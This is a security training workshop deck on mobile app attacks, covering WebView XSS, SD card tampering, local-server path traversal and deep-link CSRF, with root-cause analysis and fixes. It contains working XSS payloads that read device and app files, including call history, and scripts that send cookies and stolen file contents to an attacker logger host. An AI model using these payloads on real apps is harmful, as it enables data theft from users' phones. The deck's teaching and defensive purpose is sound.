Practical Mobile App Attacks by Example Presented by : Abraham Aranguren Free 4h Workshop Access (vuln apps, slides, recording): https://7asecurity.com/free > admin@7asecurity.com > @7asecurity BSides Dublin, Ireland > @7a_ > @owtfp [ OWASP OWTF - owtf.org ] + 7asecurity.com March 19th, 2022 Who am I? ★ CEO at 7ASecurity, pentests & security training public reports, presentations, etc.: https://7asecurity.com/publications ★ Co-Author of Mobile, Web and Desktop (Electron) app 7ASecurity courses: https://7asecurity.com/training ★ Security Trainer at Blackhat USA, HITB, OWASP Global AppSec, LASCON, 44Con, HackFest, Nullcon, SEC-T, DeepSec, etc. ★ Former Team Lead & Penetration Tester at Cure53 and Version 1 ★ Author of Practical Web Defense: www.elearnsecurity.com/PWD ★ Founder and leader of OWASP OWTF, and OWASP flagship project: owtf.org ★ Some presentations: www.slideshare.net/abrahamaranguren/presentations ★ Some sec certs: CISSP, OSCP, GWEB, OSWP, CPTS, CEH, MCSE: Security, MCSA: Security, Security+ ★ Some dev certs: ZCE PHP 5, ZCE PHP 4, Oracle PL/SQL Developer Certified Associate, MySQL 5 CMDev, MCTS SQL Server 2005 Public Mobile Pentest Reports - I Smart Sheriff mobile app mandated by the South Korean government: Public Pentest Reports: → Smart Sheriff: Round #1 - https://7asecurity.com/reports/pentest-report_smartsheriff.pdf → Smart Sheriff: Round #2 - https://7asecurity.com/reports/pentest-report_smartsheriff-2.pdf Presentation:“Smart Sheriff, Dumb Idea, the wild west of government assisted parenting” Slides:https://www.slideshare.net/abrahamaranguren/smart-sheriff-dumb-idea-the-wild-west-of-government-assisted-parenting Video: https://www.youtube.com/watch?v=AbGX67CuVBQ Chinese Police Apps Pentest Reports: → "BXAQ" (OTF) 03.2019 - https://7asecurity.com/reports/analysis-report_bxaq.pdf → "IJOP" (HRW) 12.2018 - https://7asecurity.com/reports/analysis-report_ijop.pdf → "Study the Great Nation" 09.2019 - https://7asecurity.com/reports/analysis-report_sgn.pdf Presentation: “Chinese Police and CloudPets” Slides: https://www.slideshare.net/abrahamaranguren/chinese-police-and-cloud-pets Video: https://www.youtube.com/watch?v=kuJJ1Jjwn50 Public Mobile Pentest Reports - II Other reports: → Exodus iOS Mobile App - https://7asecurity.com/reports/pentest-report_exodus.pdf → imToken Wallet - https://7asecurity.com/reports/pentest-report_imtoken.pdf → Whistler Apps - https://7asecurity.com/reports/pentest-report_whistler.pdf → Psiphon - https://7asecurity.com/reports/pentest-report_psiphon.pdf → Briar - https://7asecurity.com/reports/pentest-report_briar.pdf → Padlock - https://7asecurity.com/reports/pentest-report_padlock.pdf → Peerio - https://7asecurity.com/reports/pentest-report_peerio.pdf → OpenKeyChain - https://7asecurity.com/reports/pentest-report_openkeychain.pdf → F-Droid / Baazar - https://7asecurity.com/reports/pentest-report_fdroid.pdf → Onion Browser - https://7asecurity.com/reports/pentest-report_onion-browser.pdf More here: https://7asecurity.com/publications Agenda Practical walkthrough about interesting mobile app attacks found over the years: • • • • • • • XSS in mobile apps? Mobile apps with Local Servers!? What can go wrong with Deeplinks? Deeplink → SQLi → RCE!!? Tails of Crypto FAIL Mobile API pwnage And more :) Source: http://www.quickmeme.com/meme/353ljq WebViews & Data Exfiltration: Android WebViews & Data Exfiltration: Android Introduction to WebViews A WebView in Android is a native Android object that acts like a miniature web browser which can load web content like HTML and JavaScript within the context of an Android activity. WebViews are useful when you need to have extensive control over the web content being loaded. Interesting WebView properties 1. 2. 3. 4. WebViews can have as many permissions as the app that includes it. They can be explicitly enabled to execute JavaScript They can load local as well as remote web content Native Android functions can sometimes be accessed from WebViews with the help of JavaScript, via Javascript Interfaces https://developer.android.com/reference/android/webkit/JavascriptInterface Attacking Android WebViews In the earlier section, we understood that WebViews are miniature web browsers. This means that they can be susceptible to the security issues that affect normal browsers. Some of the common attacks include: ● ● ● ● HTML Injection → could be useful for phishing: fake login page XSS → change the page, invoke functionality from JavaScript, etc. Data exfiltration of local files (depending on security context & webview settings) Possibly User Impersonation using CSRF via XSS (depending on the application) XSS & Data Exfiltration in Android Introduction to AndroGoat AndroGoat is a vulnerable Android application written in Kotlin with many vulnerabilities relating to various Android components like WebViews, storage issues etc. It is an open source project. Official Project URL: https://github.com/satishpatnayak/AndroGoat In this lab, we will use a modified version to illustrate interesting data exfiltration techniques that we have used in real penetration tests, therefore please use the build from the training portal instead: https://training.7asecurity.com/mc/workshop/practical-mobile-app-attacks-by-example/apps/AndroGoat_Improved.apk Preliminaries: Creating Some Data Files As we want to exfiltrate data, we need to create it first, go to the “Insecure Data Storage” menu: XSS & Data Exfiltration in Android Fig.: Going to the “Insecure Data Storage” area XSS & Data Exfiltration in Android From this section, let’s do the following: Task 1 - Create a Shared Preferences File Go to “Shared Preferences - Part 1” and enter some username and password like mysecretuser / mypassword, and then tap on “Save”: XSS & Data Exfiltration in Android Fig.: Creating a shared preferences file with user credentials XSS & Data Exfiltration in Android Task 2 - Create a SQLite Database File Go to “SQLite” and enter some username and password like mysecretuser / mypassword, and then tap on “Save”: XSS & Data Exfiltration in Android Fig.: Creating a SQLite file with user credentials XSS & Data Exfiltration in Android XSS in WebView Step 1: Navigate to the Input Validation - XSS exercise NOTE: If you have done this lab before, don’t forget to delete the SD Card HTML file /mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html Click on “Input Validations” and then “Input Validations XSS”: XSS & Data Exfiltration in Android Fig.: Navigating to the XSS Exercise XSS & Data Exfiltration in Android Step 2: Confirming the XSS vulnerability There are two inputs available here: one for internal storage and the other for external storage. Before we get to identifying the difference between these two, let us try various inputs to check for XSS in both these input fields. Checking for HTML injection: Trying some HTML like <h1> will result in much bigger letters, suggesting that HTML Injection is possible: Payload: <h1>hello</h1> XSS & Data Exfiltration in Android Resulting behavior: Fig.: Confirming the HTML Injection issue XSS & Data Exfiltration in Android Checking for XSS: The next step is to check if JavaScript executes. Payloads: <img src=x onerror=alert(1)> <script>alert(1)</script> Attempting these payloads confirms the HTML injection can also be used to execute JavaScript: XSS & Data Exfiltration in Android Fig.: Confirming the XSS vulnerability XSS & Data Exfiltration in Android Confirming Execution Context Once we know the application is vulnerable to XSS, we can go ahead and figure out what the JavaScript execution context is. A quick way to figure this out is to alert the location of the page: Payloads: <script>alert(location)</script> Attempting this payload reveals the security context for the internal and external storage XSS vulnerabilities, in both cases it is file://, a privileged context perfect to steal data: XSS & Data Exfiltration in Android Fig.: Determining JavaScript execution context XSS & Data Exfiltration in Android From the above screenshots, we have alerted the location of the file and we can clearly see that the source file is loaded from two different storage locations for the two input fields: ● ● Internal storage: /data/data/owasp.sat.agoat/app_webdata/xss.html External storage: /mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html This means that the application has access to both the storage contexts. As we had discussed earlier, the webview has as much access as the application. Data Exfiltration via XSS - Figuring out File Paths To exfiltrate data, first we need to know the file path of the files that we want to steal. XSS & Data Exfiltration in Android Case 1: Root Access If we have root access to the phone, we simply ssh or adb shell to the phone and run the find command: Commands: adb shell root@vbox86p:/ # cd /data/data/owasp.sat.agoat root@vbox86p:/data/data/owasp.sat.agoat # find . . [...] ./shared_prefs/users.xml ./shared_prefs/WebViewChromiumPrefs.xml ./databases ./databases/aGoat ./databases/aGoat-journal XSS & Data Exfiltration in Android Data Exfiltration via XSS - Stealing App Files Payloads: <script>a=new XMLHttpRequest();a.open('GET', 'file:///data/data/owasp.sat.agoat/shared_prefs/users.xml',false);a.send();alert(a. responseText);</script> <script>a=new XMLHttpRequest();a.open('GET', 'file:///data/data/owasp.sat.agoat/databases/aGoat',false);a.send();alert(a.respons eText);</script> If you try the above payloads you will see how with the XSS we are able to read those files and therefore could also forward them to an attacker, hence proving that data exfiltration is possible: XSS & Data Exfiltration in Android Fig.: Stealing local data files that belong to the victim app XSS & Data Exfiltration in Android Data Exfiltration via XSS - Stealing System & Third Party App Files Please note that this issue is not limited to only the affected app, it is also possible to read some system files, as well as files from apps that allow reading certain files from their local storage. Of course, if the app has SD Card access, any SD Card file can also be read, including SD Card files from other apps. Assuming you have the Drozer Agent App installed on the phone you are testing with, the following examples will work: XSS & Data Exfiltration in Android Payloads: <script>a=new XMLHttpRequest();a.open("GET","file:///system/etc/custom.conf",false);a.send();aler t(a.responseText);</script> <script>a=new XMLHttpRequest();a.open("GET", "file:///data/data/com.mwr.dz/lib/libmstring.so", false);a.send();alert(a.responseText);</script> NOTE: You may also be able to read other interesting phone paths such as /system/build.prop depending on the device used for testing. The above payloads read a system file (/system/...) as well as a file from a third party app, which has permissions that allow other apps to read it (/data/data/com.mwr.dz/...), using the above payloads result in the following: XSS & Data Exfiltration in Android Fig.: Data retrieval from system and other apps XSS & Data Exfiltration in Android XSS & Data Exfiltration Summary Analysis So, as we have seen, with XSS we can exfiltrate: 1. Application data files, from the vulnerable app 2. System files, as long as they have permissions that allow other apps to read it 3. Files from other apps, as long as they have permissions that allow this 4. Any SD Card file, the location needs to be known, the victim app needs read access to the SD Card. Methodology-wise you are looking to answer the following questions: XSS & Data Exfiltration in Android Question Payload Result Can we also run arbitrary JavaScript? <img src=x onerror=alert(1)> Yes! If so, under what context is JavaScript executed? <script>alert(location)</script> Context: file:// Privileged Context: Not protected with the Sa me Origin Policy = we can read local files! XSS & Data Exfiltration in Android Question Payload Result If XSS from a privileged context, can we read phone files and send them to the attacker? <script>a=new XMLHttpRequest();a.open('GET', 'file:///data/data/owasp.sat.agoa t/shared_prefs/users.xml',false); a.send();alert(a.responseText);</ script> Yes! We can read app files, internal device files and also files from other apps! OR <script>a=new XMLHttpRequest();a.open('GET', 'file:///data/data/owasp.sat.agoa t/databases/aGoat',false);a.send( );alert(a.responseText);</script> XSS & Data Exfiltration in Android XSS via SD Card Manipulation As you recall earlier, one of the files is stored in “External Storage”, which is Android speak for “the SD Card”, this means that any application that can write to the SD Card can modify that HTML file and achieve XSS even without any XSS on the application itself (!). To illustrate this, we need to know: Where in the SD Card is this HTML file? We can answer this question with the previous alert(location): Payload: <script>alert(location)</script> XSS & Data Exfiltration in Android Fig.: Confirming SD Card location XSS & Data Exfiltration in Android Another way would be to use the command line: Command: adb shell begonia:/ $ find /mnt/sdcard/Android/data/owasp.sat.agoat/ Output: /mnt/sdcard/Android/data/owasp.sat.agoat/ /mnt/sdcard/Android/data/owasp.sat.agoat/files /mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html Once we know the location, we can pull this file and change it, to simulate a malicious application on the phone (i.e. with SD Card access) doing the same thing: XSS & Data Exfiltration in Android Command: adb pull /mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html Output: /mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html: 1 file pulled. 0.1 MB/s (420 bytes in 0.004s) We can now edit the file and add any XSS payload we want, for example: File: xss_ext.html Code: <html> <body> <h2>External Storage</h2> XSS & Data Exfiltration in Android <script> function displayContent(){ var a=document.getElementById("name"); document.write(a.value); } </script> Name: <input type="text" id="name"/> </br></br> <input type="button" value="Display" onclick="displayContent()" style="background-color:black; color:white; border: 2px solid #000000"/> <script>a=new XMLHttpRequest();a.open('GET', 'file:///data/data/owasp.sat.agoat/shared_prefs/users.xml',false);a.send();alert(a. responseText);</script> </body> </html> XSS & Data Exfiltration in Android After that change, we can push the file again to see what happens: Command: adb push xss_ext.html /mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html Output: xss_ext.html: 1 file pushed. 0.0 MB/s (573 bytes in 0.019s) XSS & Data Exfiltration in Android Fig.: Still able to trigger the XSS even without XSS! XSS & Data Exfiltration in Android Root Cause Analysis Upload the app to MobSF for analysis. Figure out the relevant upload directory, i.e. most recent upload, by sorting by time via -t Command: ls -lt /root/.MobSF/uploads/ Output: total 12 drwxr-xr-x 9 root root 4096 Jun 26 10:47 6da48a9c83c2d48667c458babe2709c5 drwxr-xr-x 14 root root 4096 May 30 09:41 894c2a1c396398d29e712438a71be55a drwxr-xr-x 13 root root 4096 May 30 07:19 43084088cf86b8479ea321043b48e982 Now copy the upload locally, for example: XSS & Data Exfiltration in Android Commands: mkdir -p /root/labs/lab3/xss cd /root/labs/lab3/xss cp -r /root/.MobSF/uploads/6da48a9c83c2d48667c458babe2709c5 decompiled Now we need to find the code for this, based on what is displayed on the page we could search for “External Storage” and see what happens: Command: grep -Ir 'External Storage' Output: apktool_out/res/values/strings.xml: 1. What is External Storage? apktool_out/res/values/strings.xml: <string name="sdCard">External Storage SDCard</string> apktool_out/assets/xss_ext.html:<h2>External Storage</h2> assets/xss_ext.html:<h2>External Storage</h2> XSS & Data Exfiltration in Android: Spot the Vuln? It seems that xss_ext.html could be an interesting file to look at: Can you see the vulnerability? File: xss_ext.html Code: <html> <body> <h2>External Storage</h2> <script> function displayContent(){ var a=document.getElementById("name"); document.write(a.value); } </script> XSS & Data Exfiltration in Android Name: <input type="text" id="name"/> </br></br> <input type="button" value="Display" onclick="displayContent()" style="background-color:black; color:white; border: 2px solid #000000"/> </body> </html> Solution on the next page, but try to find the vulnerability first! :) XSS & Data Exfiltration in Android: Solution File: xss_ext.html Code: <html> <body> <h2>External Storage</h2> <script> function displayContent(){ var a=document.getElementById("name"); document.write(a.value); } </script> Name: <input type="text" id="name"/> </html> XSS & Data Exfiltration in Android </br></br> <input type="button" value="Display" onclick="displayContent()" style="background-color:black; color:white; border: 2px solid #000000"/> </body> As you can see we have a DOM XSS vulnerability, the value of the “name” input field is assigned to a DOM XSS sink: document.write. This explains why the XSS exists, but we must now go deeper to explain why file access and data exfiltration is possible. Since we know the name of the HTML file we just found, we could search for it in the sources: XSS & Data Exfiltration in Android Command: grep -Ir 'xss_ext.html' * Output: owasp/sat/agoat/XSSActivity.java: File myExternalFile = new File(getExternalFilesDir(""), "xss_ext.html"); owasp/sat/agoat/XSSActivity.java: InputStream stream = getAssets().open("xss_ext.html"); [...] Affected File: owasp/sat/agoat/XSSActivity.java XSS & Data Exfiltration in Android Affected Code: Intrinsics.checkExpressionValueIsNotNull(webSettings1, "webSettings1"); webSettings1.setJavaScriptEnabled(true); webSettings1.setAllowUniversalAccessFromFileURLs(true); webSettings1.setAllowFileAccessFromFileURLs(true); webSettings1.setAllowFileAccess(true); webSettings1.setAllowContentAccess(true); webSettings1.setJavaScriptCanOpenWindowsAutomatically(true); webSettings1.setDomStorageEnabled(true); webSettings1.setLoadWithOverviewMode(true); webSettings1.supportMultipleWindows(); Intrinsics.checkExpressionValueIsNotNull(webSettings2, "webSettings2"); webSettings2.setJavaScriptEnabled(true); webSettings2.setAllowUniversalAccessFromFileURLs(true); webSettings2.setAllowFileAccessFromFileURLs(true); webSettings2.setAllowFileAccess(true); XSS & Data Exfiltration in Android webSettings2.setAllowContentAccess(true); webSettings2.setJavaScriptCanOpenWindowsAutomatically(true); webSettings2.setDomStorageEnabled(true); webSettings2.setLoadWithOverviewMode(true); webSettings2.supportMultipleWindows(); this.thefile = String.valueOf(LoadDataint()); [...] this.thefullfileurl = "file://" + this.theintfileurl; webview1.loadUrl(this.thefullfileurl); this.thefullextfileurl = "file://" + this.theextfileurl; webview2.loadUrl(this.thefullextfileurl); As you can see a number of insecure settings related to file access have been enabled and the webviews are loaded from a file:// context. XSS & Data Exfiltration in Android Mitigation Recommendations: To resolve issues like this, it is important to apply as many of the following countermeasures as deemed feasible by the development team: 1. Where possible favor TextViews over WebViews, XSS is not possible on TextViews. 2. If you must use Webviews, disable as many settings as possible, especially JavaScript, all file access options and any other not strictly required functionality. Leave the minimum settings possible for the application to work. 3. Output encode user input prior to rendering it in any Webview 4. Avoid DOM XSS sinks as much as possible, otherwise sanitize user input prior to assigning it to a DOM XSS sink (i.e. innerHTML, location, href, etc.) For additional mitigation guidance, please see the OWASP XSS Prevention Cheat Sheet https://cheatsheetseries.owasp.org/.../Cross_Site_Scripting_Prevention_Cheat_Sheet.html DEMO: XSS & Data Exfiltration in Android Attacking WebViews & Data Exfiltration: iOS Source: https://miro.medium.com/max/522/1*jF7QmwWgXlKb0qwvFOspYA.gif Attacking WebViews & Data Exfiltration in iOS UIWebViews in iOS allow apps to include a webview that can render HTML code. If user input is not output encoded correctly, attackers can take advantage of this to execute arbitrary JavaScript or render malicious HTML in the security context of the app. Open DVIA-v2 and navigate to ‘Webview Issues’ from the menu, then click on “Start Challenge”: Fig.: Starting Webview issues challenge Attacking WebViews & Data Exfiltration in iOS Enter some text (i.e. “hello”) in the top text box and hit enter. Notice how the string you entered (i.e. “hello”) is part of the text rendered in the text area below: Fig: WebView in iOS app Attacking WebViews & Data Exfiltration in iOS Given that we are inside a webview, let’s try some HTML tags and see if it they are output encoded correctly or not: Input: <h1>Hello</h1> Output: Fig: WebView in iOS app Attacking WebViews & Data Exfiltration in iOS This confirms that we have HTML injection, now we can progress with additional payloads to answer the following questions: 1. Can we also run arbitrary JavaScript? 2. If so, under what context is JavaScript executed? 3. If XSS from a privileged context, can we read phone files and send them to the attacker? XSS Payloads: <img src=x onerror=alert(1)> <svg/onload=alert(location)> <script>a = new XMLHttpRequest();a.open('GET','file:///private/var/wireless/Library/Databases/DataU sage.sqlite',false);a.send();alert(a.responseText);</script> Attacking WebViews & Data Exfiltration in iOS <script>a = new XMLHttpRequest();a.open('GET','file:///private/var/wireless/Library/Databases/Cellu larUsage.db',false);a.send();alert(a.responseText);</script> Fig.: XSS from a privileged context (applewebdata://) results in data exfiltration Attacking WebViews & Data Exfiltration in iOS To summarize: Question Payload Result Can we also run arbitrary JavaScript? <img src=x onerror=alert(1)> Yes! If so, under what context is JavaScript executed? <svg/onload=alert(location)> Context: applewebdata:// Privileged Context: Not protected with the Sa me Origin Policy = we can read local files! Attacking WebViews & Data Exfiltration in iOS Question Payload Result If XSS from a privileged context, can we read phone files and send them to the attacker? <script>a = new XMLHttpRequest();a.open('GET','f ile:///private/var/wireless/Libr ary/Databases/DataUsage.sqlite', false);a.send();alert(a.response Text);</script> Yes! We can read the phone history OR <script>a = new XMLHttpRequest();a.open('GET','f ile:///private/var/wireless/Libr ary/Databases/CellularUsage.db', false);a.send();alert(a.response Text);</script> Attacking WebViews & Data Exfiltration in iOS Root Cause Analysis Where is the problem? A possible way to find out is to narrow down our search to the locations of the source code where WKWebViews and UIWebViews might be used, this can be accomplished with the following command: Command: egrep -r "(WKWebView|UIWebView)" * | grep '.swift:' Output: Vulnerabilities/Client Side Injection/Controller/ClientSideInjectionDetailViewController.swift: var webView: UIWebView! Vulnerabilities/Donate/Controller/DonateDetailsViewController.swift: webView: WKWebView! @IBOutlet var Attacking WebViews & Data Exfiltration in iOS Attacking WebViews & Data Exfiltration in iOS As we can see in the vulnerable code, user input is concatenated into a string without prior sanitization. Further, the webView URL baseURL is set to nil, which means that the WebView will run with higher privileges, hence enabling data exfiltration from the phone. Please note that this issue is in part possible due to the fact that WebKitAllowUniversalAccessFromFileURLs and WebKitAllowFileAccessFromFileURLs are turned on by default on UIWebView (disabled by default on WKWebView). It is possible to turn these off manually on UIWebView, however, output encoding user input prior to the concatenation and for turning off JavaScript entirely the UIWebView needs to be replaced by the newer and safer WKWebView. https://www.allysonomalley.com/2018/12/03/ios-bug-hunting-web-view-xss/ https://developer.apple.com/documentation/uikit/uiwebview https://developer.apple.com/documentation/webkit/wkwebview https://stackoverflow.com/questions/48835813/can-i-disable-js-in-a-uiwebview-objective-c https://stackoverflow.com/questions/33828064/ios-web-view-javascript-disable?lq=1 Source: https://me.me/i/yo-dawgiheard-youlike-concatenate-soiconcatenated-concatenatewithconcatenate-meme-creator-funny-0f56cfdadaf04b109ac5fc84975b56fd DEMO: Attacking WebViews & Data Exfiltration in iOS Episode: Sexy attacks using the SD Card SD Card 101: → Many apps can read & write → Can be extracted without unlocking the phone → No encryption Source: https://cultureandcognitionreadinggroup.files.wordpress.com/2017/11/memory_2183425.jpg Scenario: Saving sensitive stuff in the SD Card Whistleblower app saving reports in SD Card SQLite databases in SD Card, but also human right violation reports with PII: Command: adb shell cat /mnt/sdcard/some/path/human_right_violation_report.xml Output: <?xml version='1.0' ?><HumanRightViolation> [...]<start>2019-04-17T11:46:08.368Z</start> [...]<end>2019-04-17T11:58:43.572Z</end> [...]<today>2019-04-17</today> <device_id>xxxxxxxxx</device_id> <sim_imei>xxxxxxxxx</sim_imei> <phone_number>xxxxxx</phone_number> <event><title>xxxxxx title</title> [...] Whistleblower app saving reports in SD Card <first_name>first xxxxxx</first_name> <last_name>last xxxxxx</last_name> <alias>Nick xxxxxx</alias> <age>20</age> <gender>male</gender> <marital_status>single</marital _status> <address>xxxxxx address</address> <affiliation>13</affiliation> <is_victim>yes</is_victim> <number_of_dependants/> [...] Scenario: Text files loaded from SD Card Question: What is the vulnerability? → → Text files loaded from SD Card Text file content embedded into HTML later Code: $.ajax({ url: "Chapter.txt", [...] success: function(data, theStatus) { }, [...] var pageData = convertText(data); [...] ("#some_id").append('<div id="chapter' + i + '" [...]"> <p>' + pageData + '</p></div>') Solution: pXSS + data exfiltration Flow: 1. Loaded from SD Card 2. Stored in variable 3. Concatenated into HTML = XSS Code: $.ajax({ url: "Chapter.txt", ← Loaded from SD Card [...] success: function(data, theStatus) { }, [...] var pageData = convertText(data); ← Stored in variable [...] ("#some_id").append('<div id="chapter' + i + '" [...]"> <p>' + pageData + '</p></div>') ← concatenated into HTML = XSS Attack: pXSS + data exfiltration Need to encode payloads? Check https://hackvertor.co.uk/ NOTE: Now also a Burp extension! Both by Gareth Heyes :) Hackvertor IN: <script><@eval_fromCharCode_0>xmlhttp=new XMLHttpRequest(); xmlhttp.open("GET", "file://////data/data/some.vuln.app/databases/webview.db", false); xmlhttp.send(null); var ret = xmlhttp.responseText; alert(ret);<@/eval_fromCharCode_0></script> Hackvertor OUT: <script>eval(String.fromCharCode(120,109[...]</script> Attack: pXSS + data exfiltration (cont.) Fix: SDCard leaks & pXSS + data exfiltration → → → → Avoid saving sensitive information in the SD Card Avoid loading HTML from unsafe locations i.e. SD Card Output encode input before concatenating into HTML Disable JavaScript: Proposed Fix: webview.getSettings().setJavaScriptEnabled(false); If must use SD Card: → Hash cached files, save hashes in protected storage, re-download tampered files. → Consider encrypting files, key the decryption key in protected storage (i.e. Android KeyStore) NOTE: Android KeyStore = hardware-backed security enclave ideal to store secrets (In iOS, the equivalent is the iOS Keychain) Source: https://www.burnssheehan.co.uk/storage/images/it-security-meme.gif Episode: Spoofing Attacks Scenario: Show URL1, Click goes to URL2 Attack: Unicode RTL/LTR characters RTL = Right To Left LTR = Left to Right 1. 2. 3. Send link: &#8238;&#x20;moc.evil.org Victim sees: gro.live.com Victim clicks + navigates to: moc.evil.org Usually used against: 1. Email apps, Chat apps Used in the wild: https://krebsonsecurity.com/2011/09/right-to-left-override-aids-email-attacks/ Episode: Sexy Local Server Attacks Scenario: Cordova iOS app → → Cordova app Uses plugin that runs a local server Attack: Path Traversal without auth PoC <html> <body> <p>Show /etc/passwd:</p> <iframe id="if" width=100% height=25% src="http://localhost:53741/..%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd ">< /iframe> <p>List files at the app www directory level:</p> <iframe id="if" width=100% height=25% src="http://localhost:53741/"></iframe> <p>List files at app level:</p> <iframe id="if" width=100% height=25% src="http://localhost:53741/..%2F"></iframe> </body> </html> Attack: Path Traversal without auth (cont) Attack: Path Traversal without auth (cont) Dumping all files: Commands: for i in $(cat data_files_relative.txt); do wget "http://127.0.0.1:53741/$i" > wget_output.txt 2> wget_errors.txt done grep 'Saving to' wget_errors.txt -B 4 | grep http | cut -f4 -d" " Output: http://127.0.0.1:53741/Library/Caches/com.apple.WebKit.WebContent/com.apple.ope ngl/compileCache.data [...] Fix: Path Traversal without auth → Do not implement local servers unless truly needed → If needed, at least require authentication (i.e. malicious apps can’t call it) → Validate URL with appropriate access control and path traversal mitigation Scenario: More Clear-text HTTP (iOS) Question: What is the vulnerability? 1. App requests + caches CSS file from server: http://some.site.com/app/css/mobileapp.css 2. Subsequent requests check If-Modified-Since: Server always replies with: HTTP/1.1 304 Not Modified 3. CSS added into every article rendered like this: NSString *returnString = [NSString stringWithFormat:@"<html><head><style>%@ %@%@</s tyle></head><body style='[...]%@'><div id='mainDiv'>%@ &nbsp;</div></body></html>", localFontPointer, serverProvidedCss!=nil? serverProvidedCss:@"", Solution: The vulnerability :) 1. App requests + caches CSS file from server: http://some.site.com/app/css/mobileapp.css ← clear-text HTTP = MitM can modify 2. Subsequent requests check If-Modified-Since: ← Makes the attack persistent Server always replies with: HTTP/1.1 304 Not Modified 3. CSS added into every article rendered like this: ← Contents added to HTML NSString *returnString = [NSString stringWithFormat:@"<html><head><style>%@ %@%@</s tyle></head><body style='[...]%@'><div id='mainDiv'>%@ &nbsp;</div></body></html>", localFontPointer, serverProvidedCss!=nil? serverProvidedCss:@"", Attack: Permanent XSS Attacker supplies CSS file via clear-text MitM: a { [...] } [...] </style><script src="https://attacker.com/pwn_css.js"></script><style> The XSS payload will be executed every time the user reads an article! Attack: Permanent XSS - log user activity URL: https://attacker.com/pwn_css.js Contents: request = new XMLHttpRequest(); if(request.overrideMimeType) { request.overrideMimeType('text/xml'); } xmlhttp=request; function sendit() { try { var url = "https://attacker.com/logger.php?c=" +encodeURIComponent(document.cookie)+ "&u="+encodeURIComponent(document.location)+ Attack: Permanent XSS - log user activity (cont) "&t="+encodeURIComponent(document.title)+ "&h=" var html_str = encodeURIComponent(document.body.innerHTML); html_str = html_str.substr(0,8190 - url.length); url += html_str; xmlhttp.open("GET", url, false); xmlhttp.send(null); } catch (e) { alert('Error! ' + e); } } setTimeout('sendit()', 1000); Attack: Permanent XSS - log user activity The attacker logger receives all news items seen by the user: IP: x.x.x.x User Agent: Mozilla/5.0 (iPhone; CPU Cookies: [...] URL: http://some.site.com/ HTML: <div id="mainDiv"><p>Some news iPhone OS [...] [...]</p> Attack: Data Exfiltration via XSS (call history) Favorited articles are rendered from file:// request = new XMLHttpRequest(); if(request.overrideMimeType) { request.overrideMimeType('text/xml'); } xmlhttp=request; function readit() { if (location.protocol != "file:") { alert("location.protocol (" + location.protocol + ") is not file:, skipping file reading attempts"); return; } try { var sensitive_files = [ Attack: Data Exfiltration via XSS (call history) '/private/var/wireless/Library/CallHistory/call_history.db', '/private/var/wireless/Library/Databases/CellularUsage.db' ]; for (var i in sensitive_files) { try { xmlhttp.open("GET", "file://" + sensitive_files[i], false); xmlhttp.send(null); var ret = xmlhttp.responseText; alert('Got DB: ' + sensitive_files[i] + "\r\n" + ret); var url = "https://attacker.com/logger.php?c="+encodeURIComponent( document.cookie)+"&u="+encodeURIComponent(document.location)+ "&t="+encodeURIComponent(sensitive_files[i])+"&h=" var html_str = encodeURIComponent(ret); Attack: Data Exfiltration via XSS (call history) html_str = html_str.substr(0,8190 - url.length); url += html_str; xmlhttp.open("GET", url, false); xmlhttp.send(null); } catch (e) { alert(sensitive_files[i] + " - FAILED: " + e); } } } catch (e) { alert('failed: ' + e) } } setTimeout('readit()', 1000); Attack: Data Exfiltration via XSS (call history) Attack: Data Exfiltration via XSS (app files) var path = "" + window.location; var token = path.replace('file:///var/mobile/Applications/', '').replace('/Documents/Multimedia/', ''); alert('got token: ' + token); var sensitive_files = [ , '/private/var/mobile/Applications/'+token+'/Library/Preferences/.some.plist' [...] Attack: Data Exfiltration via XSS (app files) Fix: Permanent XSS + Data Exfiltration → → → → → → → → → Avoid usage of clear-text HTTP to download files Consider Pinning Validate the file from the server (i.e. CSS file is CSS and does not contain HTML tags) If possible, prior to concatenating strings, output encode (i.e. output encode HTML characters in CSS files, before merging with HTML) Avoid loading pages with untrusted input from a file:// protocol Favor UITextViews over UIWebViews, where possible Disable JavaScript if possible If JS must be enabled: Consider CSP to limit JavaScript as much as possible Sanitize HTML prior to rendering: https://github.com/cure53/DOMPurify Question: Does CSRF exist in mobile apps? LAB CHECK Deep Link attacks achieving user impersonation & Deep Link attacks to bypass authorization controls Deep Link Preliminaries Introduction to Mobile Deep Links ● ● ● URIs that can be used to navigate to different parts of an application. Available on both Android and iOS platforms. Deep Links can have custom schemes. Example: ● A social media application registers ‘socialapp://homepage’ ● Any click to such link will be automatically directed to this application. LAB CHECK Ability to navigate to different activities and pages: socialapp://profile → to access the profile page within the application socialapp://profile/profile_pic → to access the profile picture within the profile page Registering Deep Links in Android File: AndroidManifest.xml Contents: <activity android:name="some.app.DeepLinkActivity" > <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="someapp" android:host="getCreds" android:pathPrefix="/user"/> </intent-filter> </activity> LAB CHECK scheme://host/path → someapp://getCreds/user Case Study: Periscope CSRF via Deep Link Introduction Periscope is an application for live video streaming developed and owned by Twitter Inc. It has 50M+ downloads on Google Playstore. Prerequisite 1: Install the vulnerable version of Periscope Download and install this Periscope APK: LAB CHECK https://training.7asecurity.com/mc/workshop/practical-mobile-app-attacks-by-example/apps/periscope_1.25.5.93.apk Note: Any version of Periscope will not work with this PoC. So, make sure to download the APK version provided here. https://www.pscp.tv/ https://play.google.com/store/apps/details?id=tv.periscope.android&hl=en Case Study: Periscope CSRF via Deep Link Prerequisite 2: Create a Periscope account If you don’t have a Periscope account, you will need to create one, for example, using your Android Device, and then choose one of the user account creation methods: LAB CHECK Fig.: Creating a Periscope account Case Study: Periscope CSRF via Deep Link Issue There was a Cross Site Request Forgery vulnerability in the flow of the application: Malicious attackers could trick users to follow arbitrary accounts without the user’s consent via Deep Links. Reproducing the Attack Step 1: Procuring the Manifest LAB CHECK As we already know, the best place to look for when we are testing for deep links in an application is the Android Manifest file. Command: apktool d periscope_1.25.5.93.apk Case Study: Periscope CSRF via Deep Link Output: I: Using Apktool 2.4.0 on periscope_1.25.5.93.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... S: WARNING: Could not write to 